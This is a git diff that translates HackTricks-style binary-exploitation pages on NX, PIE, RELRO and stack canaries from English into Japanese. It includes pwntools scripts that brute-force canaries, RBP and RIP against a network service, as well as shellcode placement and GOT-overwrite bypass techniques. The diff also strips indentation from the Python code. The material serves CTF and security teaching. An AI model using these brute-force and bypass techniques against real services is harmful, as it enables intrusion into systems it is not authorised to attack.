References +## 参考文献 - [https://www.youtube.com/watch?v=UwMt0e_dC_Q](https://www.youtube.com/watch?v=UwMt0e_dC_Q) diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md b/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md index 376dfe6c4..5aaf1146f 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md @@ -2,15 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -The **No-Execute (NX)** bit, also known as **Execute Disable (XD)** in Intel terminology, is a hardware-based security feature designed to **mitigate** the effects of **buffer overflow** attacks. When implemented and enabled, it distinguishes between memory regions that are intended for **executable code** and those meant for **data**, such as the **stack** and **heap**. The core idea is to prevent an attacker from executing malicious code through buffer overflow vulnerabilities by putting the malicious code in the stack for example and directing the execution flow to it. +**No-Execute (NX)** ビットは、Intel用語で **Execute Disable (XD)** とも呼ばれ、**バッファオーバーフロー** 攻撃の影響を **軽減** するために設計されたハードウェアベースのセキュリティ機能です。実装され有効化されると、**実行可能コード** 用のメモリ領域と、**スタック** や **ヒープ** のような **データ** 用のメモリ領域を区別します。基本的なアイデアは、攻撃者がバッファオーバーフローの脆弱性を通じて悪意のあるコードを実行するのを防ぐことです。例えば、悪意のあるコードをスタックに置き、実行フローをそれに向けることを防ぎます。 -## Bypasses +## バイパス -- It's possible to use techniques such as [**ROP**](../rop-return-oriented-programing/) **to bypass** this protection by executing chunks of executable code already present in the binary. - - [**Ret2libc**](../rop-return-oriented-programing/ret2lib/) - - [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/) - - **Ret2...** +- この保護を **バイパス** するために、バイナリ内に既に存在する実行可能コードのチャンクを実行するような技術、例えば [**ROP**](../rop-return-oriented-programing/) を使用することが可能です。 +- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/) +- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/) +- **Ret2...** {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md index 99a33743d..03e81ae18 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md @@ -2,30 +2,30 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -A binary compiled as PIE, or **Position Independent Executable**, means the **program can load at different memory locations** each time it's executed, preventing hardcoded addresses. +PIE(**位置独立実行可能ファイル**)としてコンパイルされたバイナリは、**プログラムが実行されるたびに異なるメモリ位置にロードされる**ことを意味し、ハードコーディングされたアドレスを防ぎます。 -The trick to exploit these binaries lies in exploiting the **relative addresses**—the offsets between parts of the program remain the same even if the absolute locations change. To **bypass PIE, you only need to leak one address**, typically from the **stack** using vulnerabilities like format string attacks. Once you have an address, you can calculate others by their **fixed offsets**. +これらのバイナリを悪用するトリックは、**相対アドレス**を利用することにあります。プログラムの部分間のオフセットは、絶対位置が変わっても同じままです。**PIEをバイパスするには、1つのアドレスを漏洩させるだけで済みます**。通常は、フォーマットストリング攻撃のような脆弱性を使用して**スタック**から取得します。アドレスを取得したら、その**固定オフセット**を使って他のアドレスを計算できます。 -A helpful hint in exploiting PIE binaries is that their **base address typically ends in 000** due to memory pages being the units of randomization, sized at 0x1000 bytes. This alignment can be a critical **check if an exploit isn't working** as expected, indicating whether the correct base address has been identified.\ -Or you can use this for your exploit, if you leak that an address is located at **`0x649e1024`** you know that the **base address is `0x649e1000`** and from the you can just **calculate offsets** of functions and locations. +PIEバイナリを悪用する際の役立つヒントは、**基本アドレスが通常000で終わる**ことです。これは、メモリページがランダム化の単位であり、サイズが0x1000バイトであるためです。このアライメントは、**エクスプロイトが期待通りに機能していない場合の重要なチェック**となり、正しい基本アドレスが特定されているかどうかを示します。\ +また、エクスプロイトにこれを使用することもできます。アドレスが**`0x649e1024`**にあることが漏洩した場合、**基本アドレスは`0x649e1000`**であることがわかり、そこから関数や位置の**オフセットを計算**できます。 -## Bypasses +## バイパス -In order to bypass PIE it's needed to **leak some address of the loaded** binary, there are some options for this: +PIEをバイパスするには、**ロードされたバイナリのアドレスを漏洩させる**必要があります。これにはいくつかのオプションがあります: -- **Disabled ASLR**: If ASLR is disabled a binary compiled with PIE is always **going to be loaded in the same address**, therefore **PIE is going to be useless** as the addresses of the objects are always going to be in the same place. -- Be **given** the leak (common in easy CTF challenges, [**check this example**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)) -- **Brute-force EBP and EIP values** in the stack until you leak the correct ones: +- **ASLRを無効にする**:ASLRが無効になっている場合、PIEでコンパイルされたバイナリは常に**同じアドレスにロードされる**ため、**PIEは無意味になります**。オブジェクトのアドレスは常に同じ場所にあります。 +- 漏洩を**与えられる**(簡単なCTFチャレンジで一般的、[**この例を確認**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)) +- スタック内の**EBPおよびEIP値をブルートフォース**して正しいものを漏洩させる: {{#ref}} bypassing-canary-and-pie.md {{#endref}} -- Use an **arbitrary read** vulnerability such as [**format string**](../../format-strings/) to leak an address of the binary (e.g. from the stack, like in the previous technique) to get the base of the binary and use offsets from there. [**Find an example here**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass). +- [**フォーマットストリング**](../../format-strings/)のような**任意の読み取り**脆弱性を使用して、バイナリのアドレスを漏洩させ(前の技術のようにスタックから)、バイナリの基本を取得し、そこからオフセットを使用します。[**ここに例を見つけてください**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass)。 -## References +## 参考文献 - [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie) diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md index 996facccb..6413e9a36 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md @@ -1,56 +1,55 @@ -# BF Addresses in the Stack +# スタック内のBFアドレス {{#include ../../../banners/hacktricks-training.md}} -**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.** +**バイナリがカナリアとPIE(位置独立実行可能ファイル)によって保護されている場合、それをバイパスする方法を見つける必要があります。** ![](<../../../images/image (865).png>) > [!NOTE] -> Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\ -> However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting. +> **`checksec`** は、バイナリがカナリアによって保護されていることを見つけられない場合があります。これは静的にコンパイルされており、関数を特定できないためです。\ +> しかし、関数呼び出しの最初にスタックに値が保存されており、その値が終了前にチェックされることに気づけば、手動で確認できます。 -## Brute-Force Addresses +## ブルートフォースアドレス -In order to **bypass the PIE** you need to **leak some address**. And if the binary is not leaking any addresses the best to do it is to **brute-force the RBP and RIP saved in the stack** in the vulnerable function.\ -For example, if a binary is protected using both a **canary** and **PIE**, you can start brute-forcing the canary, then the **next** 8 Bytes (x64) will be the saved **RBP** and the **next** 8 Bytes will be the saved **RIP.** +**PIEをバイパスするためには、いくつかのアドレスを漏洩させる必要があります。** もしバイナリがアドレスを漏洩させていない場合、最善の方法は**脆弱な関数内のスタックに保存されたRBPとRIPをブルートフォースすることです。**\ +例えば、バイナリが**カナリア**と**PIE**の両方で保護されている場合、カナリアをブルートフォースし始め、その後の8バイト(x64)が保存された**RBP**であり、次の8バイトが保存された**RIP**になります。 > [!TIP] -> It's supposed that the return address inside the stack belongs to the main binary code, which, if the vulnerability is located in the binary code, will usually be the case. - -To brute-force the RBP and the RIP from the binary you can figure out that a valid guessed byte is correct if the program output something or it just doesn't crash. The **same function** as the provided for brute-forcing the canary can be used to brute-force the RBP and the RIP: +> スタック内の戻りアドレスはメインバイナリコードに属していると考えられています。脆弱性がバイナリコード内にある場合、通常はその通りです。 +バイナリからRBPとRIPをブルートフォースするには、プログラムが何かを出力するか、単にクラッシュしない場合、正しいと推測されたバイトが有効であることを確認できます。カナリアをブルートフォースするために提供された**同じ関数**を使用してRBPとRIPをブルートフォースできます: ```python from pwn import * def connect(): - r = remote("localhost", 8788) +r = remote("localhost", 8788) def get_bf(base): - canary = "" - guess = 0x0 - base += canary +canary = "" +guess = 0x0 +base += canary - while len(canary) < 8: - while guess != 0xff: - r = connect() +while len(canary) < 8: +while guess != 0xff: +r = connect() - r.recvuntil("Username: ") - r.send(base + chr(guess)) +r.recvuntil("Username: ") +r.send(base + chr(guess)) - if "SOME OUTPUT" in r.clean(): - print "Guessed correct byte:", format(guess, '02x') - canary += chr(guess) - base += chr(guess) - guess = 0x0 - r.close() - break - else: - guess += 1 - r.close() +if "SOME OUTPUT" in r.clean(): +print "Guessed correct byte:", format(guess, '02x') +canary += chr(guess) +base += chr(guess) +guess = 0x0 +r.close() +break +else: +guess += 1 +r.close() - print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) - return base +print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) +return base # CANARY BF HERE canary_offset = 1176 @@ -67,30 +66,25 @@ print("Brute-Forcing RIP") base_canary_rbp_rip = get_bf(base_canary_rbp) RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:]) ``` +PIEを打破するために必要な最後のことは、**漏洩した**アドレスから**有用なアドレス**を計算することです:**RBP**と**RIP**です。 -The last thing you need to defeat the PIE is to calculate **useful addresses from the leaked** addresses: the **RBP** and the **RIP**. - -From the **RBP** you can calculate **where are you writing your shell in the stack**. This can be very useful to know where are you going to write the string _"/bin/sh\x00"_ inside the stack. To calculate the distance between the leaked RBP and your shellcode you can just put a **breakpoint after leaking the RBP** an check **where is your shellcode located**, then, you can calculate the distance between the shellcode and the RBP: - +**RBP**から、**スタックにシェルを書き込んでいる場所**を計算できます。これは、スタック内の文字列_"/bin/sh\x00"_を書き込む場所を知るのに非常に役立ちます。漏洩したRBPとシェルコードの間の距離を計算するには、**RBPを漏洩させた後にブレークポイントを置き**、**シェルコードがどこにあるかを確認**するだけです。次に、シェルコードとRBPの間の距離を計算できます: ```python INI_SHELLCODE = RBP - 1152 ``` - -From the **RIP** you can calculate the **base address of the PIE binary** which is what you are going to need to create a **valid ROP chain**.\ -To calculate the base address just do `objdump -d vunbinary` and check the disassemble latest addresses: +**RIP**から**PIEバイナリのベースアドレス**を計算できます。これは**有効なROPチェーン**を作成するために必要です。\ +ベースアドレスを計算するには、`objdump -d vunbinary`を実行し、最新のアドレスを逆アセンブルして確認します: ![](<../../../images/image (479).png>) -In that example you can see that only **1 Byte and a half is needed** to locate all the code, then, the base address in this situation will be the **leaked RIP but finishing on "000"**. For example if you leaked `0x562002970ecf` the base address is `0x562002970000` - +この例では、すべてのコードを特定するために**1バイトと半分だけが必要**であることがわかります。この場合、ベースアドレスは**漏洩したRIPの最後が"000"**になります。たとえば、`0x562002970ecf`が漏洩した場合、ベースアドレスは`0x562002970000`です。 ```python elf.address = RIP - (RIP & 0xfff) ``` +## 改善点 -## Improvements +[**この投稿からのいくつかの観察によると**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking)、RBPおよびRIP値を漏洩させる際に、サーバーが正しくない値でクラッシュしない可能性があり、BFスクリプトは良い値を取得したと考えることがあります。これは、**正確な値でなくても、いくつかのアドレスがそれを壊さない可能性があるためです**。 -According to [**some observation from this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), it's possible that when leaking RBP and RIP values, the server won't crash with some values which aren't the correct ones and the BF script will think he got the good ones. This is because it's possible that **some addresses just won't break it even if there aren't exactly the correct ones**. - -According to that blog post it's recommended to add a short delay between requests to the server is introduced. +そのブログ投稿によると、サーバーへのリクエストの間に短い遅延を追加することが推奨されています。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/relro.md b/src/binary-exploitation/common-binary-protections-and-bypasses/relro.md index 59b406c5e..4b0f1fe51 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/relro.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/relro.md @@ -4,32 +4,30 @@ ## Relro -**RELRO** stands for **Relocation Read-Only**, and it's a security feature used in binaries to mitigate the risks associated with **GOT (Global Offset Table)** overwrites. There are two types of **RELRO** protections: (1) **Partial RELRO** and (2) **Full RELRO**. Both of them reorder the **GOT** and **BSS** from ELF files, but with different results and implications. Speciifically, they place the **GOT** section _before_ the **BSS**. That is, **GOT** is at lower addresses than **BSS**, hence making it impossible to overwrite **GOT** entries by overflowing variables in the **BSS** (rembember writing into memory happens from lower toward higher addresses). +**RELRO**は**Relocation Read-Only**の略で、**GOT (Global Offset Table)**の上書きに関連するリスクを軽減するためにバイナリで使用されるセキュリティ機能です。**RELRO**保護には2種類あります:(1) **Partial RELRO**と(2) **Full RELRO**です。どちらもELFファイルから**GOT**と**BSS**の順序を変更しますが、結果と影響は異なります。具体的には、**GOT**セクションを**BSS**の_前_に配置します。つまり、**GOT**は**BSS**よりも低いアドレスにあり、したがって**BSS**内の変数をオーバーフローさせることで**GOT**エントリを上書きすることは不可能です(メモリへの書き込みは低いアドレスから高いアドレスに向かって行われることを思い出してください)。 -Let's break down the concept into its two distinct types for clarity. +この概念を明確にするために、2つの異なるタイプに分解しましょう。 ### **Partial RELRO** -**Partial RELRO** takes a simpler approach to enhance security without significantly impacting the binary's performance. Partial RELRO makes **the .got read only (the non-PLT part of the GOT section)**. Bear in mind that the rest of the section (like the .got.plt) is still writeable and, therefore, subject to attacks. This **doesn't prevent the GOT** to be abused **from arbitrary write** vulnerabilities. +**Partial RELRO**は、バイナリのパフォーマンスに大きな影響を与えずにセキュリティを強化するためのよりシンプルなアプローチを取ります。Partial RELROは**.gotを読み取り専用にします(GOTセクションの非PLT部分)**。セクションの残りの部分(.got.pltなど)はまだ書き込み可能であり、したがって攻撃の対象となることに注意してください。これは**任意の書き込み**の脆弱性から**GOT**が悪用されるのを防ぐものではありません。 -Note: By default, GCC compiles binaries with Partial RELRO. +注:デフォルトでは、GCCはPartial RELROでバイナリをコンパイルします。 ### **Full RELRO** -**Full RELRO** steps up the protection by **making the entire GOT (both .got and .got.plt) and .fini_array** section completely **read-only.** Once the binary starts all the function addresses are resolved and loaded in the GOT, then, GOT is marked as read-only, effectively preventing any modifications to it during runtime. +**Full RELRO**は、**GOT全体(.gotと.got.pltの両方)および.fini_array**セクションを完全に**読み取り専用**にすることで保護を強化します。バイナリが起動すると、すべての関数アドレスが解決され、GOTにロードされ、その後、GOTは読み取り専用としてマークされ、実行時にそれに対する変更を効果的に防ぎます。 -However, the trade-off with Full RELRO is in terms of performance and startup time. Because it needs to resolve all dynamic symbols at startup before marking the GOT as read-only, **binaries with Full RELRO enabled may experience longer load times**. This additional startup overhead is why Full RELRO is not enabled by default in all binaries. - -It's possible to see if Full RELRO is **enabled** in a binary with: +ただし、Full RELROのトレードオフはパフォーマンスと起動時間にあります。GOTを読み取り専用としてマークする前に、すべての動的シンボルを起動時に解決する必要があるため、**Full RELROが有効なバイナリは読み込み時間が長くなる可能性があります**。この追加の起動オーバーヘッドが、すべてのバイナリでFull RELROがデフォルトで有効になっていない理由です。 +バイナリでFull RELROが**有効**かどうかを確認することができます: ```bash readelf -l /proc/ID_PROC/exe | grep BIND_NOW ``` +## バイパス -## Bypass +フル RELRO が有効な場合、バイパスする唯一の方法は、任意の実行を得るために GOT テーブルに書き込む必要のない別の方法を見つけることです。 -If Full RELRO is enabled, the only way to bypass it is to find another way that doesn't need to write in the GOT table to get arbitrary execution. - -Note that **LIBC's GOT is usually Partial RELRO**, so it can be modified with an arbitrary write. More information in [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.** +**LIBC の GOT は通常部分的な RELRO であるため、任意の書き込みで変更可能です。** 詳細は [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**。** {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md index 5c1044b98..24eafc1f2 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md @@ -1,73 +1,73 @@ -# Stack Canaries +# スタックカナリア {{#include ../../../banners/hacktricks-training.md}} -## **StackGuard and StackShield** +## **StackGuard と StackShield** -**StackGuard** inserts a special value known as a **canary** before the **EIP (Extended Instruction Pointer)**, specifically `0x000aff0d` (representing null, newline, EOF, carriage return) to protect against buffer overflows. However, functions like `recv()`, `memcpy()`, `read()`, and `bcopy()` remain vulnerable, and it does not protect the **EBP (Base Pointer)**. +**StackGuard** は、**EIP (Extended Instruction Pointer)** の前に **カナリア** として知られる特別な値 `0x000aff0d`(ヌル、改行、EOF、キャリッジリターンを表す)を挿入して、バッファオーバーフローから保護します。しかし、`recv()`、`memcpy()`、`read()`、および `bcopy()` のような関数は依然として脆弱であり、**EBP (Base Pointer)** を保護することはありません。 -**StackShield** takes a more sophisticated approach than StackGuard by maintaining a **Global Return Stack**, which stores all return addresses (**EIPs**). This setup ensures that any overflow does not cause harm, as it allows for a comparison between stored and actual return addresses to detect overflow occurrences. Additionally, StackShield can check the return address against a boundary value to detect if the **EIP** points outside the expected data space. However, this protection can be circumvented through techniques like Return-to-libc, ROP (Return-Oriented Programming), or ret2ret, indicating that StackShield also does not protect local variables. +**StackShield** は、すべての戻りアドレス (**EIPs**) を保存する **グローバルリターンスタック** を維持することで、StackGuard よりも洗練されたアプローチを取ります。この設定により、オーバーフローが発生しても害を及ぼさず、保存された戻りアドレスと実際の戻りアドレスを比較してオーバーフローの発生を検出できます。さらに、StackShield は戻りアドレスを境界値と照合して、**EIP** が期待されるデータ空間の外を指しているかどうかを検出できます。しかし、この保護は Return-to-libc、ROP (Return-Oriented Programming)、または ret2ret のような技術によって回避可能であり、StackShield がローカル変数を保護しないことを示しています。 ## **Stack Smash Protector (ProPolice) `-fstack-protector`:** -This mechanism places a **canary** before the **EBP**, and reorganizes local variables to position buffers at higher memory addresses, preventing them from overwriting other variables. It also securely copies arguments passed on the stack above local variables and uses these copies as arguments. However, it does not protect arrays with fewer than 8 elements or buffers within a user's structure. +このメカニズムは、**EBP** の前に **カナリア** を配置し、ローカル変数を再配置してバッファをより高いメモリアドレスに配置し、他の変数を上書きしないようにします。また、ローカル変数の上にスタックで渡された引数を安全にコピーし、これらのコピーを引数として使用します。しかし、8 要素未満の配列やユーザーの構造内のバッファは保護されません。 -The **canary** is a random number derived from `/dev/urandom` or a default value of `0xff0a0000`. It is stored in **TLS (Thread Local Storage)**, allowing shared memory spaces across threads to have thread-specific global or static variables. These variables are initially copied from the parent process, and child processes can alter their data without affecting the parent or siblings. Nevertheless, if a **`fork()` is used without creating a new canary, all processes (parent and children) share the same canary**, making it vulnerable. On the **i386** architecture, the canary is stored at `gs:0x14`, and on **x86_64**, at `fs:0x28`. +**カナリア** は `/dev/urandom` から派生したランダムな数またはデフォルト値 `0xff0a0000` です。これは **TLS (Thread Local Storage)** に保存され、スレッド間で共有メモリ空間がスレッド固有のグローバルまたは静的変数を持つことを可能にします。これらの変数は最初に親プロセスからコピーされ、子プロセスは親や兄弟に影響を与えずにデータを変更できます。しかし、**`fork()` を使用して新しいカナリアを作成しない場合、すべてのプロセス(親と子)は同じカナリアを共有し、脆弱になります**。**i386** アーキテクチャでは、カナリアは `gs:0x14` に保存され、**x86_64** では `fs:0x28` に保存されます。 -This local protection identifies functions with buffers vulnerable to attacks and injects code at the start of these functions to place the canary, and at the end to verify its integrity. +このローカル保護は、攻撃に脆弱なバッファを持つ関数を特定し、これらの関数の先頭にカナリアを配置するコードを注入し、末尾でその整合性を確認します。 -When a web server uses `fork()`, it enables a brute-force attack to guess the canary byte by byte. However, using `execve()` after `fork()` overwrites the memory space, negating the attack. `vfork()` allows the child process to execute without duplication until it attempts to write, at which point a duplicate is created, offering a different approach to process creation and memory handling. +ウェブサーバーが `fork()` を使用すると、カナリアをバイト単位で推測するブルートフォース攻撃が可能になります。しかし、`fork()` の後に `execve()` を使用すると、メモリ空間が上書きされ、攻撃が無効になります。`vfork()` は、子プロセスが書き込みを試みるまで複製なしで実行できるため、プロセス作成とメモリ処理に異なるアプローチを提供します。 -### Lengths +### 長さ -In `x64` binaries, the canary cookie is an **`0x8`** byte qword. The **first seven bytes are random** and the last byte is a **null byte.** +`x64` バイナリでは、カナリアクッキーは **`0x8`** バイトの qword です。最初の 7 バイトはランダムで、最後のバイトは **ヌルバイト** です。 -In `x86` binaries, the canary cookie is a **`0x4`** byte dword. The f**irst three bytes are random** and the last byte is a **null byte.** +`x86` バイナリでは、カナリアクッキーは **`0x4`** バイトの dword です。最初の 3 バイトはランダムで、最後のバイトは **ヌルバイト** です。 > [!CAUTION] -> The least significant byte of both canaries is a null byte because it'll be the first in the stack coming from lower addresses and therefore **functions that read strings will stop before reading it**. +> 両方のカナリアの最下位バイトはヌルバイトです。これは、スタックの最初に低いアドレスから来るため、**文字列を読み取る関数はそれを読み取る前に停止します**。 -## Bypasses +## バイパス -**Leaking the canary** and then overwriting it (e.g. buffer overflow) with its own value. +**カナリアを漏洩させ**、その後自分の値で上書きします(例:バッファオーバーフロー)。 -- If the **canary is forked in child processes** it might be possible to **brute-force** it one byte at a time: +- **カナリアが子プロセスでフォークされる場合**、1 バイトずつ **ブルートフォース** することが可能かもしれません: {{#ref}} bf-forked-stack-canaries.md {{#endref}} -- If there is some interesting **leak or arbitrary read vulnerability** in the binary it might be possible to leak it: +- バイナリに興味深い **漏洩または任意の読み取り脆弱性** がある場合、漏洩させることができるかもしれません: {{#ref}} print-stack-canary.md {{#endref}} -- **Overwriting stack stored pointers** +- **スタックに保存されたポインタの上書き** -The stack vulnerable to a stack overflow might **contain addresses to strings or functions that can be overwritten** in order to exploit the vulnerability without needing to reach the stack canary. Check: +スタックがスタックオーバーフローに脆弱な場合、**上書き可能な文字列や関数へのアドレスを含む可能性があります**。これにより、スタックカナリアに到達することなく脆弱性を悪用できます。確認してください: {{#ref}} ../../stack-overflow/pointer-redirecting.md {{#endref}} -- **Modifying both master and thread canary** +- **マスターとスレッドカナリアの両方を変更** -A buffer **overflow in a threaded function** protected with canary can be used to **modify the master canary of the thread**. As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified). +カナリアで保護されたスレッド関数のバッファ **オーバーフロー** を使用して、**スレッドのマスターカナリアを変更**できます。その結果、チェックが同じ(ただし変更された)2つのカナリアで使用されるため、緩和策は無効になります。 -Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\ -As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\ -This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) +さらに、カナリアで保護されたスレッド関数のバッファ **オーバーフロー** を使用して、**TLS に保存されたマスターカナリアを変更**することもできます。これは、スレッドの **スタック** での **bof** を介して TLS が保存されているメモリ位置に到達することが可能であるためです。\ +その結果、チェックが同じ(ただし変更された)2つのカナリアで使用されるため、緩和策は無効になります。\ +この攻撃は次の書き込みで実行されます:[http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) -Check also the presentation of [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup. +また、[https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) のプレゼンテーションも確認してください。これは、通常 **TLS** が **`mmap`** によって保存され、スレッドの **スタック** が作成されるときにも `mmap` によって生成されるため、前述の書き込みで示されたようにオーバーフローを許可する可能性があることを示しています。 -- **Modify the GOT entry of `__stack_chk_fail`** +- **`__stack_chk_fail` の GOT エントリを変更** -If the binary has Partial RELRO, then you can use an arbitrary write to modify the **GOT entry of `__stack_chk_fail`** to be a dummy function that does not block the program if the canary gets modified. +バイナリが Partial RELRO を持っている場合、任意の書き込みを使用して **`__stack_chk_fail`** の **GOT エントリをダミー関数に変更**し、カナリアが変更されてもプログラムがブロックされないようにできます。 -This attack is performed in the writeup: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/) +この攻撃は次の書き込みで実行されます:[https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/) -## References +## 参考文献 - [https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html) - [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md index 89eee29ec..2949cfac2 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md @@ -2,55 +2,54 @@ {{#include ../../../banners/hacktricks-training.md}} -**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.** +**カナリアとPIE(位置独立実行可能ファイル)によって保護されたバイナリに直面している場合、バイパスする方法を見つける必要があります。** ![](<../../../images/image (865).png>) > [!NOTE] -> Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\ -> However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting. +> **`checksec`** がバイナリがカナリアによって保護されていることを見つけられない場合があります。これは静的にコンパイルされており、関数を特定できないためです。\ +> ただし、関数呼び出しの最初にスタックに値が保存され、この値が終了前にチェックされることを見つけることで、手動で気づくことができます。 -## Brute force Canary +## ブルートフォースカナリア -The best way to bypass a simple canary is if the binary is a program **forking child processes every time you establish a new connection** with it (network service), because every time you connect to it **the same canary will be used**. +単純なカナリアをバイパスする最良の方法は、バイナリが**新しい接続を確立するたびに子プロセスをフォークするプログラム**である場合です(ネットワークサービス)。なぜなら、接続するたびに**同じカナリアが使用されるからです**。 -Then, the best way to bypass the canary is just to **brute-force it char by char**, and you can figure out if the guessed canary byte was correct checking if the program has crashed or continues its regular flow. In this example the function **brute-forces an 8 Bytes canary (x64)** and distinguish between a correct guessed byte and a bad byte just **checking** if a **response** is sent back by the server (another way in **other situation** could be using a **try/except**): +したがって、カナリアをバイパスする最良の方法は、**文字ごとにブルートフォースすること**であり、推測したカナリアバイトが正しいかどうかは、プログラムがクラッシュしたか、通常のフローを続けているかを確認することで判断できます。この例では、関数は**8バイトのカナリア(x64)をブルートフォースし**、正しく推測されたバイトと不正なバイトを**チェック**することで区別します。サーバーから**レスポンス**が返されるかどうかを確認します(**他の状況**では**try/except**を使用することもできます): -### Example 1 - -This example is implemented for 64bits but could be easily implemented for 32 bits. +### 例 1 +この例は64ビット用に実装されていますが、32ビット用にも簡単に実装できます。 ```python from pwn import * def connect(): - r = remote("localhost", 8788) +r = remote("localhost", 8788) def get_bf(base): - canary = "" - guess = 0x0 - base += canary +canary = "" +guess = 0x0 +base += canary - while len(canary) < 8: - while guess != 0xff: - r = connect() +while len(canary) < 8: +while guess != 0xff: +r = connect() - r.recvuntil("Username: ") - r.send(base + chr(guess)) +r.recvuntil("Username: ") +r.send(base + chr(guess)) - if "SOME OUTPUT" in r.clean(): - print "Guessed correct byte:", format(guess, '02x') - canary += chr(guess) - base += chr(guess) - guess = 0x0 - r.close() - break - else: - guess += 1 - r.close() +if "SOME OUTPUT" in r.clean(): +print "Guessed correct byte:", format(guess, '02x') +canary += chr(guess) +base += chr(guess) +guess = 0x0 +r.close() +break +else: +guess += 1 +r.close() - print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) - return base +print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) +return base canary_offset = 1176 base = "A" * canary_offset @@ -58,43 +57,41 @@ print("Brute-Forcing canary") base_canary = get_bf(base) #Get yunk data + canary CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary ``` +### 例2 -### Example 2 - -This is implemented for 32 bits, but this could be easily changed to 64bits.\ -Also note that for this example the **program expected first a byte to indicate the size of the input** and the payload. - +これは32ビット用に実装されていますが、64ビットに簡単に変更できます。\ 